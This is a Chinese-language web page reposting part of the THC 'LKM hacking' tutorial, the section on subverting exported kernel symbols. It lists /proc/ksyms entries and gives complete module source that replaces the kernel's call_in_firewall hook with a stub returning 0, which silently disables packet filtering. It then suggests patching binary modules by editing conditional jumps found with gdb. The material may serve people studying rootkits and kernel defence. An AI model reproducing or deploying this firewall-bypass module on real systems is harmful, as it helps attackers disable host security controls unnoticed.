china.com
主页
新闻
体育
游戏
文化
教育
健康
财经
科技
旅游
军事
娱乐
商贸
  科技动态 硬件广场 下载基地 网络教室 网络冲浪 科学博览 移动时代 手机上网 桌面壁纸 科技商情  


第二部分 渐入佳境


2.3 迷惑内核的系统表


在2.1中你懂得了如何通过内核符号表存取sys_call_table,我们可以在我们的模块中通过存取他们改变任何输出的东西(例如函数,结构,变量等等)。

任何列在/proc/ksysms的东西可以被入侵.记住我们的模块不能被这种方法损害,因为我们根本不输出任何符号.这里展示/proc/ksyms一些小小的部分,用来演示你实际上能做那些改动.

...

001bf1dc ppp_register_compressor

001bf23c ppp_unregister_compressor

001e7a10 ppp_crc16_table

001b9cec slhc_init

001b9ebc slhc_free

001baa20 slhc_remember

001b9f6c slhc_compress

001ba5dc slhc_uncompress

001babbc slhc_toss

001a79f4 register_serial

001a7b40 unregister_serial

00109cec dump_thread

00109c98 dump_fpu

001c0c90 __do_delay

001c0c60 down_failed

001c0c80 down_failed_interruptible

001c0c70 up_wakeup

001390dc sock_register

00139110 sock_unregister

0013a390 memcpy_fromiovec

001393c8 sock_setsockopt

00139640 sock_getsockopt

001398c8 sk_alloc

001398f8 sk_free

00137b88 sock_wake_async

00139a70 sock_alloc_send_skb

0013a408 skb_recv_datagram

0013a580 skb_free_datagram

0013a5cc skb_copy_datagram

0013a60c skb_copy_datagram_iovec

0013a62c datagram_select

00141480 inet_add_protocol

001414c0 inet_del_protocol

001ddd18 rarp_ioctl_hook

001bade4 init_etherdev

00140904 ip_rt_route

001408e4 ip_rt_dev

00150b84 icmp_send

00143750 ip_options_compile

001408c0 ip_rt_put

0014faa0 arp_send

0014f5ac arp_bind_cache

001dd3cc ip_id_count

0014445c ip_send_check

00142bc0 ip_forward

001dd3c4 sysctl_ip_forward

0013a994 register_netdevice_notifier

0013a9c8 unregister_netdevice_notifier

0013ce00 register_net_alias_type

0013ce4c unregister_net_alias_type

001bb208 register_netdev

001bb2e0 unregister_netdev

001bb090 ether_setup

0013d1c0 eth_type_trans

0013d318 eth_copy_and_sum

0014f164 arp_query

00139d84 alloc_skb

00139c90 kfree_skb

00139f20 skb_clone

0013a1d0 dev_alloc_skb

0013a184 dev_kfree_skb

0013a14c skb_device_unlock

0013ac20 netif_rx

0013ae0c dev_tint

001e6ea0 irq2dev_map

0013a7a8 dev_add_pack

0013a7e8 dev_remove_pack

0013a840 dev_get

0013b704 dev_ioctl

0013abfc dev_queue_xmit

001e79a0 dev_base

0013a8dc dev_close

0013ba40 dev_mc_add

0014f3c8 arp_find

001b05d8 n_tty_ioctl

001a7ccc tty_register_ldisc

0012c8dc kill_fasync

0014f164 arp_query

00155ff8 register_ip_masq_app

0015605c unregister_ip_masq_app

00156764 ip_masq_skb_replace

00154e30 ip_masq_new

00154e64 ip_masq_set_expire

001ddf80 ip_masq_free_ports

001ddfdc ip_masq_expire

001548f0 ip_masq_out_get_2

001391e8 register_firewall

00139258 unregister_firewall

00139318 call_in_firewall

0013935c call_out_firewall

001392d4 call_fw_firewall

...

看看call_in_firewall,这是一个被内核中防火墙管理调用的函数.如果我们用一个假的函数替换这个调用,会发生什么情况呢?

看看下面的LKM:

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>

/*获得输出的函数*/

extern int *call_in_firewall;

/*我们自己的没有意义的call_in_firewall*/

int new_call_in_firewall()

{

return 0;

}

int init_module(void)        

/*初始化模块*/

{

call_in_firewall=new_call_in_firewall;

return 0;

}

void cleanup_module(void)      

/*卸载模块*/

{

}

编译并且加载这个模块,然后输入'ipfwadm -l -a deny'.最后'ping 127.0.0.1',你的内核会准确的产生一个错误信息.因为对call_in_firewall(....)的调用被一个假的替换了.(在这个例子中你可以跳过防火墙的安装)

这是一个相当野蛮的消灭输出模块的方法.你也可以用gdb反汇编某个模块然后通过改变某个字节来改变模块的工作方式.反汇编这个函数然后搜索一些像JNZ,JNE这样的命令...用这种方法你可以对重要的部分进行更改.当然,你可以在内核/模块的源代码中查找这些函数.但是对于那些没有源代码而只有二进制模块的符号你该这么办呢?在这里反汇编是相当有趣的.

 

  摘自《赛迪网》 pragmatic/THC,(版本1.0)/文

 


科技检索


中华网推荐

  • 1000名医生在线咨询

  • 中国足球队官方网站

  • 鸦片玫瑰(新版)

  • 精选股票天地

  • 闪光的flash教程

  • 中华网汽车世界

  • 为你的爱情出谋划策

  • 网文精选——野百合集

  • 世界文化遗产在中国

  • 历届香港小姐风姿集




  • 网络教室编辑信箱
    版权声明 | 本站检索 | 联系方法 | 刊登广告 | 使用说明 | 关于中华网 | 豁免条款

    版权所有 中华网